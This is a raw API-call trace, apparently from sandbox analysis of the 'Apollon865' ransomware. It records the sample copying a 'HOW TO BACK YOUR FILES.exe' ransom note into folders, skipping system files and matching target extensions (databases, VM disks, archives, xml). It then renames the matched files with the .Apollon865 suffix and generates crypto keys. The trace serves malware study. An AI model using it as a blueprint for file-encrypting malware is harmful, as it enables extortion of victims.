	[0052.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.600] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0052.601] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.601] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.601] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd20, lpName=0x0) returned 0x118
	[0052.603] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd20) returned 0x100000
	[0052.604] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.604] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.604] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0052.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0052.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.605] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.605] CloseHandle (hObject=0x118) returned 1
	[0052.605] CloseHandle (hObject=0x15c) returned 1
	[0052.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.605] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.605] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0
	[0052.606] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.606] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0052.606] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList"
	[0052.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599568 | out: hHeap=0x580000) returned 1
	[0052.606] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0052.606] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList") returned 79
	[0052.606] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList"
	[0052.606] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.606] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.610] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.610] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x376e9070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x376e9070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.610] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.610] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.610] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.610] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x376e9070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x376e9070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.610] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.610] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.611] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.611] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.611] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2=".") returned 1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="..") returned 1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="windows") returned -1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="bootmgr") returned 1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="temp") returned -1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="pagefile.sys") returned -1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="boot") returned 1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="ids.txt") returned -1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="ntuser.dat") returned -1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="perflogs") returned -1
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2="MSBuild") returned -1
	[0052.611] lstrlenW (lpString="Client.xml") returned 10
	[0052.611] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*") returned 81
	[0052.611] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="Client.xml" | out: lpString1="Client.xml") returned="Client.xml"
	[0052.611] lstrlenW (lpString="Client.xml") returned 10
	[0052.611] lstrlenW (lpString="Apollon865") returned 10
	[0052.611] lstrlenW (lpString=".dll") returned 4
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2=".dll") returned 1
	[0052.611] lstrlenW (lpString=".lnk") returned 4
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2=".lnk") returned 1
	[0052.611] lstrlenW (lpString=".ini") returned 4
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2=".ini") returned 1
	[0052.611] lstrlenW (lpString=".sys") returned 4
	[0052.611] lstrcmpiW (lpString1="Client.xml", lpString2=".sys") returned 1
	[0052.611] lstrlenW (lpString="Client.xml") returned 10
	[0052.611] lstrlenW (lpString="bak") returned 3
	[0052.611] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.611] lstrlenW (lpString="ba_") returned 3
	[0052.611] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.612] lstrlenW (lpString="dbb") returned 3
	[0052.612] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.612] lstrlenW (lpString="vmdk") returned 4
	[0052.612] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.612] lstrlenW (lpString="rar") returned 3
	[0052.612] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.612] lstrlenW (lpString="zip") returned 3
	[0052.612] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.612] lstrlenW (lpString="tgz") returned 3
	[0052.612] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.612] lstrlenW (lpString="vbox") returned 4
	[0052.612] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.613] lstrlenW (lpString="vdi") returned 3
	[0052.613] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.613] lstrlenW (lpString="vhd") returned 3
	[0052.613] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.613] lstrlenW (lpString="vhdx") returned 4
	[0052.613] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.613] lstrlenW (lpString="avhd") returned 4
	[0052.613] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.613] lstrlenW (lpString="db") returned 2
	[0052.613] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.613] lstrlenW (lpString="db2") returned 3
	[0052.613] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.613] lstrlenW (lpString="db3") returned 3
	[0052.613] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.613] lstrlenW (lpString="dbf") returned 3
	[0052.613] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.613] lstrlenW (lpString="mdf") returned 3
	[0052.613] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.613] lstrlenW (lpString="mdb") returned 3
	[0052.613] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.613] lstrlenW (lpString="sql") returned 3
	[0052.614] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.614] lstrlenW (lpString="sqlite") returned 6
	[0052.614] lstrcmpiW (lpString1="nt.xml", lpString2="sqlite") returned -1
	[0052.614] lstrlenW (lpString="sqlite3") returned 7
	[0052.614] lstrcmpiW (lpString1="ent.xml", lpString2="sqlite3") returned -1
	[0052.614] lstrlenW (lpString="sqlitedb") returned 8
	[0052.614] lstrcmpiW (lpString1="ient.xml", lpString2="sqlitedb") returned -1
	[0052.614] lstrlenW (lpString="xml") returned 3
	[0052.614] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.614] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml.Apollon865") returned 101
	[0052.614] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml.Apollon865" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml.apollon865"), dwFlags=0x1) returned 0
	[0052.614] GetLastError () returned 0x5
	[0052.614] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml MoveFileEx error 5\r\n") returned 119
	[0052.614] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml MoveFileEx error 5\r\n") returned 119
	[0052.614] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0052.614] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x224d
	[0052.614] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x77, lpOverlapped=0x0) returned 1
	[0052.614] CloseHandle (hObject=0x14c) returned 1
	[0052.615] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0052.615] CloseHandle (hObject=0x0) returned 0
	[0052.615] CloseHandle (hObject=0x0) returned 0
	[0052.615] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376e9070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x376e9070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.615] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.615] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376e9070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x376e9070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0052.615] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.615] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0052.615] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList"
	[0052.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0052.615] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned 79
	[0052.615] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList"
	[0052.615] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.615] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.621] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.621] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x376e9070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x376e9070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.622] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.622] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.622] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.622] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x376e9070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x376e9070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.622] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.622] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.622] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.622] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.622] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".") returned 1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="..") returned 1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="windows") returned -1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="bootmgr") returned 1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="temp") returned -1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="pagefile.sys") returned -1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="boot") returned 1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="ids.txt") returned -1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="ntuser.dat") returned -1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="perflogs") returned -1
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="MSBuild") returned -1
	[0052.622] lstrlenW (lpString="FrameworkList.xml") returned 17
	[0052.622] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*") returned 81
	[0052.622] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="FrameworkList.xml" | out: lpString1="FrameworkList.xml") returned="FrameworkList.xml"
	[0052.622] lstrlenW (lpString="FrameworkList.xml") returned 17
	[0052.622] lstrlenW (lpString="Apollon865") returned 10
	[0052.622] lstrcmpiW (lpString1="rkList.xml", lpString2="Apollon865") returned 1
	[0052.622] lstrlenW (lpString=".dll") returned 4
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".dll") returned 1
	[0052.622] lstrlenW (lpString=".lnk") returned 4
	[0052.622] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".lnk") returned 1
	[0052.623] lstrlenW (lpString=".ini") returned 4
	[0052.623] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".ini") returned 1
	[0052.623] lstrlenW (lpString=".sys") returned 4
	[0052.623] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".sys") returned 1
	[0052.623] lstrlenW (lpString="FrameworkList.xml") returned 17
	[0052.623] lstrlenW (lpString="bak") returned 3
	[0052.623] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.623] lstrlenW (lpString="ba_") returned 3
	[0052.623] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.623] lstrlenW (lpString="dbb") returned 3
	[0052.623] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.623] lstrlenW (lpString="vmdk") returned 4
	[0052.623] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.623] lstrlenW (lpString="rar") returned 3
	[0052.623] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.623] lstrlenW (lpString="zip") returned 3
	[0052.623] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.623] lstrlenW (lpString="tgz") returned 3
	[0052.623] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.623] lstrlenW (lpString="vbox") returned 4
	[0052.623] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.623] lstrlenW (lpString="vdi") returned 3
	[0052.623] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.623] lstrlenW (lpString="vhd") returned 3
	[0052.623] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.623] lstrlenW (lpString="vhdx") returned 4
	[0052.623] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.623] lstrlenW (lpString="avhd") returned 4
	[0052.623] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.623] lstrlenW (lpString="db") returned 2
	[0052.623] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.623] lstrlenW (lpString="db2") returned 3
	[0052.623] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.623] lstrlenW (lpString="db3") returned 3
	[0052.623] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.624] lstrlenW (lpString="dbf") returned 3
	[0052.624] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.624] lstrlenW (lpString="mdf") returned 3
	[0052.624] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.624] lstrlenW (lpString="mdb") returned 3
	[0052.624] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.624] lstrlenW (lpString="sql") returned 3
	[0052.624] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.624] lstrlenW (lpString="sqlite") returned 6
	[0052.624] lstrcmpiW (lpString1="st.xml", lpString2="sqlite") returned 1
	[0052.624] lstrlenW (lpString="sqlite3") returned 7
	[0052.624] lstrcmpiW (lpString1="ist.xml", lpString2="sqlite3") returned -1
	[0052.624] lstrlenW (lpString="sqlitedb") returned 8
	[0052.624] lstrcmpiW (lpString1="List.xml", lpString2="sqlitedb") returned -1
	[0052.624] lstrlenW (lpString="xml") returned 3
	[0052.624] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.624] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.Apollon865") returned 108
	[0052.624] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.Apollon865" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.625] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.Apollon865" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0052.625] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5682) returned 1
	[0052.625] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.625] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.625] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.625] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
